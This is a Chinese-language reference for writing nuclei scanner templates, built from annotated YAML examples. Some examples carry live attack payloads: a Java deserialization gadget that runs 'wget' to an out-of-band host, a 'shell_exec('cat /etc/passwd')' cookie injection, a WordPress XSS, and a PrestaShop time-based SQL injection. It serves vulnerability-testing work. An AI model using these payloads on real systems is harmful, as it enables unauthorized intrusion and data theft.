官方文档:https://docs.projectdiscovery.io/templates/introduction nuclei 2.9.1 版本更新了模板格式。如果使用的是较旧的 nuclei 版本,可能无法解析新的模板格式。 建议将 nuclei 版本升级至 2.9.1 或更高版本以确保正确解析模板格式。 ===========================示例模板=========================== id: template-id info: name: Template Name author: test severity: info description: 漏洞详情描述 reference: - https://Template.nuclei.sh # 元数据节点,与 uncover 集成的格式如下:-query: '' metadata: max-request: 2 fofa-query: 'body="公司"' shodan-query: 'vuln:CVE-2021-26855' hunter-query: 'web.body="公司"' tags: tags # 自定义模版变量,自2.6.9版本开始支持 variables: first_1: "{{rand_int(8, 20)}}" first_2: "{{rand_int(100, 101)}}" http: # 解析 raw 格式请求 - raw: - |- POST /{{Path}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"username":{{username}},"password":{{password}}} attack: clusterbomb # 定义HTTP模糊攻击类型,可用类型: batteringram,pitchfork,clusterbomb payloads: username: - 'admin' password: - 'admin' # header: helpers/wordlists/header.txt Path: - 'api/selectContentManagePage' matchers-condition: and matchers: - type: dsl dsl: - "contains(body, 'pageSize')" - "contains(body_1, 'pageSize') && contains(body_2, 'pageNum')" - "contains_all(body_1, 'pageSize', 'pageNum')" #单个body包内指定多个匹配关键字 - "contains(header, 'application/json')" - "status_code == 200" - "status_code_1 == 404 && status_code_2 == 200" # 检查Cookie的MD5校验和是否包含在大写的请求体中 - "contains(toupper(body), md5(cookie))" condition: and - type: dsl dsl: # 检测相应包的长度 - "len(body_1) != 0" # 基于DSL的持续时间匹配器,当响应时间与定义的持续时间匹配时返回true,示例为大于等于6秒 - 'duration>=6' condition: and # 匹配变量 - type: word part: body words: - "{{first_2}}" # Interactsh匹配器,需要和使用 {{interactsh_response}} # 可匹配 interactsh_protocol、interactsh_request和 interactsh_response 三处 # 确认HTTP交互 - type: word part: interactsh_protocol words: - "http" # 确认检索/etc/passwd文件 - type: regex part: interactsh_request regex: - "root:[x*]:0:0:" # 确认DNS交互 - type: word part: interactsh_response words: - "dns" # 二进制流匹配 - type: binary binary: - "504B0304" # zip archive - "526172211A070100" # RAR archive version 5.0 - "FD377A585A0000" # xz tar.xz archive condition: or # 指定单个匹配器内多个条件的与或关系 part: body - type: word encoding: hex words: - "50494e47" part: body # 否定匹配器,对匹配器结果进行取反 - type: word words: - "PHPSESSID" part: header negative: true extractors: - type: regex # 为提取的信息命名,方便调用,可省略 name: api part: body # 避免在终端中打印提取的值,使用动态变量时必须添加此标志 internal: true regex: - "(?m)[0-9]{3,10}\\.[0-9]+" ----------------------------分割线---------------------------- # 嵌套表达式 ❌ {{url_decode({{base64_decode('SGVsbG8=')}})}} ✔ {{url_decode(base64_decode('SGVsbG8='))}} # 如果需要在 extractor 中使用,比如将 extractor 提取的变量值 test 进行处理 {{url_decode(base64_decode('{{test}}'))}} ----------------------------分割线---------------------------- # 自 Nuclei v2.3.6 发行以来,Nuclei 支持使用 interact.sh API 内置自动请求关联来实现基于 OOB 的漏洞扫描 http: - raw: - | GET /plugins/servlet/oauth/users/icon-uri?consumerUri={{interactsh-url}} HTTP/1.1 Host: {{Hostname}} ----------------------------分割线---------------------------- # JAVA反序列化: https://docs.nuclei.sh/template-guide/helper-functions#deserialization-helper-functions http: - raw: - | POST /index.faces;jsessionid=x HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}} ----------------------------分割线---------------------------- # 发送一个GET请求 http: - method: GET path: - "{{BaseURL}}/actuator/env" - "{{BaseURL}}/login" - "{{BaseURL}}/thumbs.db" - "{{BaseURL}}/.svn/wc.db" # 发送一些头部信息给服务器的示例 headers: X-Client-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl" # skip-variables-check 可以使 nuclei 不要解析请求内容中 `{{` 为变量 skip-variables-check: true # 如果模板中包含多个扫描路径,当第一个路径匹配成功时,会自动停止后续路径的扫描,这不会影响其他模板 stop-at-first-match: true # 单位 bytes- 从服务器响应中读取的最大值 max-size: 500 ----------------------------分割线---------------------------- id: wp-related-post-xss http: # 发送一个POST请求 - method: POST path: - '{{RootURL}}/wp-login.php' headers: Content-Type: application/x-www-form-urlencoded body: 'log={{username}}&pwd={{password}}&wp-submit=Log+In' - method: GET path: - '{{RootURL}}/wp-admin/admin.php?page=rp4wp_link_related&rp4wp_parent=156x%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3Ep' # cookie-reuse 参数为 true,在多个请求之间维护基于 cookie 的会话,该参数接受布尔类型的输入,默认值为 false。 cookie-reuse: true # 请求条件与匹配器中的DSL表达式一起使用。它们允许逻辑表达式包含跨多个请求/响应的条件。 # 在模板中添加 "req-condition: true" 选项。响应的属性可以使用 "<请求编号>" 后缀来引用特定的响应,例如 status_code_1、status_code_3 或 body_2。 req-condition: true matchers-condition: and matchers: - type: dsl dsl: - "contains(header, 'text/html')" - "contains(body_1, '&action=edit') && contains(body_2, 'All Posts')" - "status_code == 200" condition: and ----------------------------分割线---------------------------- # @timeout 请求注解 id: PrestaShop_Product_Comments_SQL_Injection_CVE-2020-26248 http: - raw: - | # @timeout 是请求注解的一种,⽤于覆盖默认的请求超时时间 @timeout: 20s GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'duration>=6 && status_code == 200' - 'contains(content_type, "application/json") && contains(body, "average_grade")' condition: and ----------------------------分割线---------------------------- # "self-contained"通常在批量检测API可用性时使用 # 假设你通过信息泄露获得了一个API密钥,但不知道这个密钥属于哪个服务,也没有其他特征可供参考。这时,你只能逐个尝试各个官方API接口,看哪个平台能够成功验证该密钥。 id: example-self-contained-input self-contained: true http: - raw: - | GET https://example.com:443/gg HTTP/1.1 Host: example.com:443